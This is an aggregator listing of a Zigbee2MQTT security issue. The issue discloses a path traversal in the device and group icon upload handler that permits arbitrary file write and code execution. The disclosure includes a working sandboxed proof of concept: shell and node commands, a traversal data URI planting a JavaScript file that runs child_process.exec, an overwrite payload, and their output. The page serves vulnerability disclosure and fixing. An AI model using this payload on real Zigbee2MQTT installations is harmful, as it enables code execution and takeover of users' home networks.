Koenkk / Koenkk/zigbee2mqtt

Path traversal in device/group icon upload allows arbitrary file write and code execution

Open
#32,747 2 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

problem
Dominant language
TypeScript
Stars
15.7k
Forks
2k
Avg merge
18h 55m
Merged PRs (30d)
35

Description

What happened?

reported on 15 June 2026 via https://github.com/Koenkk/zigbee2mqtt/security/advisories/GHSA-9hp4-6pvc-chfr

Summary

The bridge/request/device/options (and bridge/request/group/options) handler accepts a base64 data URI in options.icon and writes it to disk as a device icon. The file extension is taken from the data URI media type using the regex data:image/(?<extension>.+);base64,(?<data>.+), where (?<extension>.+) matches / and .. sequences. The captured "extension" is concatenated directly into the destination path, so a crafted media type escapes the data/device_icons/ directory and writes attacker-controlled bytes to an arbitrary filesystem location. By targeting data/external_extensions/<name>.js (a directory Zigbee2MQTT auto-imports as code) this becomes remote code execution.

Details

Request routing (lib/extension/bridge.ts):

bridge/request/device/options -> deviceOptions -> changeEntityOptions("device", message).

In changeEntityOptions (lib/extension/bridge.ts:437):

if (message.options.icon) {
    const base64Match = utils.matchBase64File(message.options.icon);
    if (base64Match) {
        const fileSettings = utils.saveBase64DeviceIcon(base64Match);
        message.options.icon = fileSettings;
        logger.debug(`Saved base64 image as file to '${fileSettings}'`);
    }
}

message.options.icon is fully attacker controlled. The two helpers (lib/util/utils.ts):

const BASE64_IMAGE_REGEX = /data:image\/(?<extension>.+);base64,(?<data>.+)/;

function matchBase64File(value) {
    const match = value.match(BASE64_IMAGE_REGEX);
    if (match) {
        return {extension: match.groups.extension, data: match.groups.data};
    }
    return false;
}

function saveBase64DeviceIcon(base64Match) {
    const md5Hash = crypto.createHash("md5").update(base64Match.data).digest("hex");
    const fileSettings = `device_icons/${md5Hash}.${base64Match.extension}`;   // <-- extension is untrusted
    const file = path.join(data.getPath(), fileSettings);                       // <-- traversal collapses here
    fs.mkdirSync(path.dirname(file), {recursive: true});
    fs.writeFileSync(file, base64Match.data, {encoding: "base64"});
    return fileSettings;
}

(?<extension>.+) is greedy and matches any character except newline, including / and .. Supplying a media type such as image/png/../../external_extensions/pwn.js yields:

fileSettings = "device_icons/<md5>.png/../../external_extensions/pwn.js"
path.join(dataPath, fileSettings) = "<dataPath>/external_extensions/pwn.js"

fs.mkdirSync(..., {recursive: true}) creates any intermediate directories, and fs.writeFileSync writes the decoded base64 payload there. Because the extension can contain an arbitrary number of ../ segments, the write target can be placed anywhere the Zigbee2MQTT process can write, fully outside the data directory.

The icon is saved before any options validation runs, so the write happens regardless of whether the rest of the option payload is valid. The only precondition is a valid device or group ID, which every client can enumerate from bridge/devices / bridge/groups (the Coordinator device always exists).

Impact escalation: lib/extension/externalJS.ts (the base class for external_extensions and external_converters) calls loadFiles() on start, which import()s every .js/.cjs/.mjs file found in data/external_extensions/. Writing a JavaScript file there via the traversal therefore results in code execution in the Zigbee2MQTT process on the next start (or extension reload). The same primitive can overwrite configuration.yaml, secret.yaml, the Zigbee database, or any other file the process owner can write.

What did you expect to happen?

No response

How to reproduce it (minimal and precise)
PoC

Prerequisites:

  • Zigbee2MQTT v2.12.0.
  • Ability to publish a bridge/request/device/options request. This is the normal device-options capability exposed by the web frontend (Settings -> change a device icon) and by the MQTT control topic. A valid device ID is required; the Coordinator device is always present and is listed in bridge/devices.

The destination path computation and the file write are performed by the two production functions bundled directly from lib/util/utils.ts and lib/util/data.ts. The following harness calls those exact functions with the attacker-controlled options.icon value.

Steps:

  1. Build the harness from the unmodified repository source:
git clone --depth=1 https://github.com/Koenkk/zigbee2mqtt.git z2m && cd z2m
mkdir -p /tmp/z2m_poc && cd /tmp/z2m_poc
npm init -y && npm install fast-deep-equal@3 humanize-duration@3
npx esbuild ../z2m/lib/util/utils.ts --bundle --platform=node --format=cjs \
    --outfile=utils.cjs --external:zigbee-herdsman-converters
  1. Point the data directory at a sandbox and run the save function with a traversal payload that targets the auto-loaded external_extensions directory:
export ZIGBEE2MQTT_DATA=/tmp/z2m_poc/sandbox/data
rm -rf sandbox && mkdir -p sandbox/data/device_icons

node -e '
const utils = require("./utils.cjs").default;
const evilCode = "module.exports = class { constructor(){ require(\"child_process\").exec(\"id > /tmp/z2m_poc/sandbox/RCE_PROOF\"); } };\n";
// The value an attacker sets as options.icon in bridge/request/device/options:
const payload = "data:image/png/../../external_extensions/pwn.js;base64," + Buffer.from(evilCode).toString("base64");
const m = utils.matchBase64File(payload);
const settings = utils.saveBase64DeviceIcon(m);
console.log("returned fileSettings =>", settings);
'
find /tmp/z2m_poc/sandbox/data -type f

Observed output:

returned fileSettings => device_icons/5c9738eddcc29bd906ab8375905194b6.png/../../external_extensions/pwn.js
/tmp/z2m_poc/sandbox/data/external_extensions/pwn.js

The malicious .js was written into data/external_extensions/, the directory ExternalJSExtension.loadFiles() imports as code at startup.

  1. Arbitrary write fully outside the data directory (overwrite proof):
export ZIGBEE2MQTT_DATA=/tmp/z2m_poc/sandbox/data
rm -rf sandbox && mkdir -p sandbox/data
echo "ORIGINAL CONTENT - should be overwritten" > sandbox/victim_outside_data.txt

node -e '
const utils = require("./utils.cjs").default;
const payload = "data:image/png/../../../victim_outside_data.txt;base64," + Buffer.from("PWNED by Z2M device_icons path traversal\n").toString("base64");
const m = utils.matchBase64File(payload);
console.log("matchBase64File =>", JSON.stringify(m));
console.log("returned fileSettings =>", utils.saveBase64DeviceIcon(m));
'
echo "--- data dir contents ---"; find sandbox/data
echo "--- victim file OUTSIDE data dir now contains ---"; cat sandbox/victim_outside_data.txt

Observed output:

matchBase64File => {"extension":"png/../../../victim_outside_data.txt","data":"UFdORUQgYnkgWjJNIGRldmljZV9pY29ucyBwYXRoIHRyYXZlcnNhbAo="}
returned fileSettings => device_icons/479d649418184bda4e2557b8d993de09.png/../../../victim_outside_data.txt
--- data dir contents ---
sandbox/data
--- victim file OUTSIDE data dir now contains ---
PWNED by Z2M device_icons path traversal

The data directory stays empty; the write landed three levels above it, overwriting the pre-existing victim file with attacker content.

Impact

Any client able to issue a device or group options request (the standard "set device icon" capability in the frontend and over the MQTT control topic) can write arbitrary file contents to arbitrary paths writable by the Zigbee2MQTT process. Targeting data/external_extensions/*.js yields code execution in the Zigbee2MQTT process; overwriting configuration.yaml/secret.yaml/the coordinator database yields full takeover of the Zigbee network and persisted secrets. This is a privilege escalation from a benign icon-upload feature to arbitrary file write and code execution.

Zigbee2MQTT version

v2.12.0

Adapter firmware version
Adapter
Setup
Device database.db entry

No response

Debug log

No response

Notes

No response

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Read lib/extension/bridge.ts at changeEntityOptions and the matchBase64File and saveBase64DeviceIcon helpers in lib/util/utils.ts; the supplied harness exercises the vulnerable path. Done means traversal input can no longer write outside the intended icon location while valid device and group icon uploads continue to work.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
45/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.